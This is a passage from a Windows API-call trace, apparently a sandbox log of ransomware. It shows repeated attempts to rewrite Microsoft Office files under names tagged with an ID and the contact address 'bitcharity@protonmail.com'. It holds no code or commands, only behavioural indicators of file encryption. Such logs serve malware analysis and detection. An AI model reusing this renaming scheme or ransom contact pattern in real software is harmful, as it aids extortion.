CloseHandle (hObject=0x11d0) returned 1 [0264.211] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.211] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME17.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme17.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.212] CloseHandle (hObject=0x11d0) returned 1 [0264.213] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.213] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME18.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme18.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.213] CloseHandle (hObject=0x11d0) returned 1 [0264.214] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.214] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME19.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme19.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.214] CloseHandle (hObject=0x11d0) returned 1 [0264.215] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.215] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME20.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme20.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.216] CloseHandle (hObject=0x11d0) returned 1 [0264.217] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.217] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME21.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme21.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.217] CloseHandle (hObject=0x11d0) returned 1 [0264.218] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.218] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME22.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme22.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.218] CloseHandle (hObject=0x11d0) returned 1 [0264.219] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.219] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME23.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme23.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.220] CloseHandle (hObject=0x11d0) returned 1 [0264.221] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.221] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME24.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme24.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.221] CloseHandle (hObject=0x11d0) returned 1 [0264.222] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.222] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME25.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme25.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.231] CloseHandle (hObject=0x11d0) returned 1 [0264.232] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.232] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME26.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme26.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.233] CloseHandle (hObject=0x11d0) returned 1 [0264.234] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.234] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME27.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme27.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.235] CloseHandle (hObject=0x11d0) returned 1 [0264.236] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.236] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME28.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme28.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.236] CloseHandle (hObject=0x11d0) returned 1 [0264.237] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.237] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME29.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme29.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.237] CloseHandle (hObject=0x11d0) returned 1 [0264.239] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.239] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME30.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme30.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.239] CloseHandle (hObject=0x11d0) returned 1 [0264.241] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.241] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME31.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme31.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.241] CloseHandle (hObject=0x11d0) returned 1 [0264.242] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.242] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME32.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme32.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.243] CloseHandle (hObject=0x11d0) returned 1 [0264.244] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.244] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME33.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme33.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.244] CloseHandle (hObject=0x11d0) returned 1 [0264.707] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.707] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME34.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme34.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.707] CloseHandle (hObject=0x1068) returned 1 [0264.708] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.709] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR47B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir47b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.709] CloseHandle (hObject=0x1068) returned 1 [0264.710] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.710] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR47F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir47f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.710] CloseHandle (hObject=0x1068) returned 1 [0264.716] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.716] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR48B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir48b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.716] CloseHandle (hObject=0x1268) returned 1 [0264.717] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.717] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR48F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir48f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.718] CloseHandle (hObject=0x1268) returned 1 [0264.719] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.719] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR49B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir49b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.719] CloseHandle (hObject=0x1268) returned 1 [0264.720] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.720] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR49F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir49f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.721] CloseHandle (hObject=0x1268) returned 1 [0264.722] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.722] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR4B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir4b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.722] CloseHandle (hObject=0x1268) returned 1 [0264.724] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.724] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR4F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir4f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.724] CloseHandle (hObject=0x1268) returned 1 [0264.725] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.725] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir50b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.725] CloseHandle (hObject=0x1268) returned 1 [0264.726] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.726] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir50f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.727] CloseHandle (hObject=0x1268) returned 1 [0264.728] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.728] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR51B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir51b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.728] CloseHandle (hObject=0x1268) returned 1 [0264.729] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.729] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR51F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir51f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.730] CloseHandle (hObject=0x1268) returned 1 [0264.731] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.731] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR5B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir5b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.731] CloseHandle (hObject=0x1268) returned 1 [0264.735] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.735] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR5F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir5f.gif.id-b4197730.[bitcharity@protonmail.com].com"), 